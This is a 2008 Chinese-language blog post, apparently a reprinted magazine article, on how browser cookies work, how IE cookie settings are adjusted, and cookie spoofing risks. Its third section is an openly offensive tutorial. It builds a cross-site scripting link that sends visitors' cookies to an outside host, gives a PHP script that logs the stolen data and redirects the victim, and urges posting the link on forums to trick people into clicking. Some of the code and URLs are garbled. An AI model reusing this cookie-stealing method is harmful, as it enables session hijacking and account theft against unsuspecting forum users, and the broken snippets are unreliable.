2008年5月4日 星期日

Cookie完全攻略

Cookie在英文中是小甜品的意思,而這個詞我們總能在瀏覽器中看到,食品怎麼會跟瀏覽器扯上關係呢?在你瀏覽以前登陸過的網站時可能會在網頁中出現:你好XX,感覺很親切,就好像是吃了一個小甜品一樣。這其實是通過訪問你主電腦裡邊的一個檔案來實現的,因此這個檔案也就被稱為了Cookie。想全面瞭解Cookie嗎?看看下文吧!

   一.瞭解Cookie 適用物件:初級讀者

   Cookie是當你瀏覽某網站時,網站存儲在你機器上的一個小文字檔案,它記錄了你的使用者ID,密碼、瀏覽過的網頁、停留的時間等訊息,當你再次來到該網站時,網站通過讀取Cookie,得知你的關聯訊息,就可以做出相應的動作,如在頁面顯示歡迎你的標語,或是讓你不用輸入ID、密碼就直接登入等等。你可以在IE的「工具/Internet選項」的「一般」索引片中,選取「設定/檢視檔案」,檢視所有儲存到你電腦裡的Cookie。這些檔案通常是以user@domain格式命名的,user是你的近端使用者名,domain是所訪問的網站的域名。若果你使用NetsCape瀏覽器,則存放在「C:\PROGRAMFILES\NETSCAPE\USERS\」裡面,與IE不同的是,NETSCAPE是使用一個Cookie 檔案記錄所有網站的Cookies。

   為了保證上網安全我們需要對Cookie進行適當設定。開啟「工具/Internet選項」中的「隱私」索引片(注意該設定只在IE6.0中存在,其他版本IE可以在「工具/Internet選項」的「安全」標籤中點選「自訂層級」按鈕,進行簡單調整),調整Cookie的安全層級。通常情況,可以將滑塊調整到「中高」或是「高」的位置。多數的論壇站台需要使用Cookie訊息,若果你從來不去這些地方,可以將安全級調到「阻止所有Cookies」。若果只是為了禁止個別網站的Cookie,可以點選「編輯」按鈕,將要屏蔽的網站新增到清單中。在「進階」按鈕選項中,你可以對第一方Cookie和第三方的Cookie進行設定,第一方Cookie是你正在瀏覽的網站的Cookie,第三方Cookie非正在瀏覽的網站發給你的Cookie,通常要對第三方Cookie選取「拒絕」,如圖1。你若果需要儲存Cookie,可以使用IE的「匯入匯出」功能,開啟「檔案/匯入匯出」,按提示動作即可。

   Cookie中的內容大多數經由了加密處理,因此在我們看來只是一些毫無意義的字母數字群組合,只有伺服器的CGI處理程式才知道它們真正的含義。通過一些軟體我們可以檢視到更多的內容,使用Cookie Pal軟體檢視到的Cookie訊息,如圖2所示。它為我們提供了Server、Expires、Name、value等選項的內容。其中,Server是存儲Cookie的網站,Expires記錄了Cookie的時間和生命期,Name和value字段則是具體的資料(本報第10期第42版對該軟體有詳細介紹)。
   下載位址:http://www.cbifamily.com/down/200411/cfnetwork/cp1.exe。

   二、Cookie的傳遞流程 適用物件:中級讀者

   當在瀏覽器位址欄中鍵入了一個Web站台的URL,瀏覽器會向該Web站台傳送一個讀取網頁的請求,並將結果在顯示器上顯示。這時該網頁在你的電腦上尋找Amazon網站設定的Cookie檔案,若果找到,瀏覽器會把Cookie檔案中的資料連同前面輸入的URL一同傳送到Amazon伺服器。伺服器收到Cookie資料,就會在他的資料庫中檢索你的ID,你的購物記錄、個人喜好等訊息,並記錄下新的內容,增加到資料庫和Cookie檔案中去。若果沒有檢驗到Cookie或是你的Cookie訊息與資料庫中的訊息不符合,則說明你是第一次瀏覽該網站,伺服器的CGI程式將為你建立新的ID訊息,並儲存到資料庫中。
Cookie是利用了網頁代碼中的HTTP頭訊息進行傳遞的,瀏覽器的每一次網頁請求,都可以伴隨Cookie傳遞,例如,瀏覽器的開啟或刷新網頁動作。伺服器將Cookie新增到網頁的HTTP頭訊息中,伴隨網頁資料傳回到你的瀏覽器,瀏覽器會根據你電腦中的Cookie設定選取是否儲存這些資料。若果瀏覽器不容許Cookie儲存,則關掉瀏覽器後,這些資料就消失。Cookie在電腦上儲存的時間是不一樣的,這些都是由伺服器的設定不同決定得。Cookie有一個Expires(有效期)屬性,這個屬性決定了Cookie的儲存時間,伺服器可以通過設定Expires字段的數值,來改變Cookie的儲存時間。若果不設定該屬性,那麼Cookie只在瀏覽網頁期間有效,關閉瀏覽器,這些Cookie自動消失,絕大多數網站屬於這種情況。通常情況下,Cookie包括Server、Expires、Name、value這幾個字段,其中對伺服器有用的只是Name和value字段,Expires等字段的內容僅僅是為了告訴瀏覽器如何處理這些Cookies。

   三、Cookie的寫程式實現 適用物件:進階讀者

   多數網頁寫程式語系都提供了對Cookie的支援。如javascript、VBScript、Delphi、ASP、SQL、PHP、C#等。在這些面向對象的寫程式語系中,對Cookie的寫程式利用基本上是相似的,大體過程為:先建立一個Cookie物件(Object),然後利用控制函數對Cookie進行賦值、讀取、寫入等動作。那麼如何通過代碼來取得其他使用者Cookie中的敏感訊息?下面進行簡單的介紹。
該方法主要有兩步,首先要定位你需要收集Cookie的網站,並對其進行分析,並構造URL;然後編製收集Cookie的PHP代碼,並將其放到你可以控制的網站上,當不知情者點選了你構造的URL後可以執行該PHP代碼。下面我們看具體的實現過程。

   1.分析並構造URL

   首先開啟我們要收集Cookie的網站,這裡假設是http://www.XXX.net,登陸網站輸入使用者名「」(不含引號),對資料進行分析抓包,得到形如「http://www.XXX.net/txl/login/login....x=28&ok.y=6」的代碼,將「」更換為「」重試;若果執行成功,就開始構造URL:「http://www.cbifamily.org/cbi.php?\"%2Bdocuments.cookie)&passwd=&ok.x=28&ok.y=6" target="_blank">http://www.XXX.net/txl/login/log ... swd=&ok.x=28&ok.y=6」。其中http:///www.cbifamily.org/cbi.php就是你能夠控制的某台主電腦上的一個腳本。需要注意的是「%2B」為符號「+」的URL編碼,因為「+」將被作為空格處理。該URL就可以在論壇中發佈,誘使別人點擊了。

   2.編製PHP腳本

   該腳本的作用就是收集Cookie檔案,具體內容如下:


$info = getenv("QUERY_STRING";
if ($info) {
$fp = fopen("info.txt","a";
fwrite($fp,$info."\n";
fclose($fp);
}
header("Location: http://www.XXX.net\";
?>

四、Cookie的安全問題 適用物件:所有希望上網安全的讀者

   1.Cookie欺騙

   Cookie記錄著使用者的帳戶ID、密碼之類的訊息,若果在網上傳遞,通常使用的是MD5方法加密。這樣經由加密處理後的訊息,即使被網路上一些別有用心的人截獲,也看不懂,因為他看到的只是一些無意義的字母和數字。然而,現在遇到的問題是,截獲Cookie的人不需要知道這些字串的含義,他們只要把別人的Cookie向伺服器提交,並且能夠通過驗證,他們就可以冒充受害人的身份,登陸網站。這種方法叫做Cookie欺騙。Cookie欺騙實現的前提條件是伺服器的驗證程式存在漏洞,並且冒充者要獲得被冒充的人的Cookie訊息。目前網站的驗證程式要排除所有非法登入是非常困難的,例如,編寫驗證程式使用的語系可能存在漏洞。而且要獲得別人Cookie是很容易的,用支援Cookie的語系編寫一小段代碼就可以實現(具體方法見三),只要把這段代碼放到網路裡,那麼所有人的Cookie都能夠被收集。若果一個論壇容許HTML代碼或是容許使用Flash標籤就可以利用這些技術收集Cookie的代碼放到論壇裡,然後給帖子取一個吸引人的主旨,寫上有趣的內容,很快就可以收集到大量的Cookie。在論壇上,有許多人的密碼就被這種方法盜去的。至於如何防範,目前還沒有特效藥,我們也只能使用通常的防護方法,不要在論壇裡使用重要的密碼,也不要使用IE自動儲存密碼的功能,以及盡量不登陸不瞭解底細的網站。

   2.Flash的代碼隱患

Flash中有一個getURL()函數,Flash可以利用這個函數自動開啟特殊的網頁。因此它可能把你引向一個包括惡意代碼的網站。打個比方,當你在自己電腦上欣賞精美的Flash動畫時,動畫畫面裡的代碼可能已經悄悄地連上網,並開啟了一個極小的包括有特殊代碼的頁面。這個頁面可以收集你的Cookie、也可以做一些其他的事情,比如在你的機器上種植木馬甚至格式化你的硬碟等等。對於Flash的這種行為,網站是無法禁止的,因為這是Flash檔案的內定行為。我們所能做到的,若果是在近端瀏覽盡量開啟防火牆,若果防火牆提示的向外傳送的封包並不為你知悉,最好禁止。若果是在Internet上欣賞,最好找一些知名的大網站。

沒有留言:

張貼留言